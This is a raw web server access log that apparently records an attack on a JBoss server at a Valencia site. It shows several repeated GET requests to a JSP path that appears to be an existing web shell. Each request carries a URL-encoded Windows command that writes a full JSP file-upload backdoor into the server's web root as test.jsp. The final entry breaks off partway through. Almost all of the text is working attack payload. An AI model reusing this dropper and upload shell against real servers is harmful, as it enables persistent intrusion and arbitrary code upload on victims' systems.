S834789136 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834736083 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834675483 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834622008 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%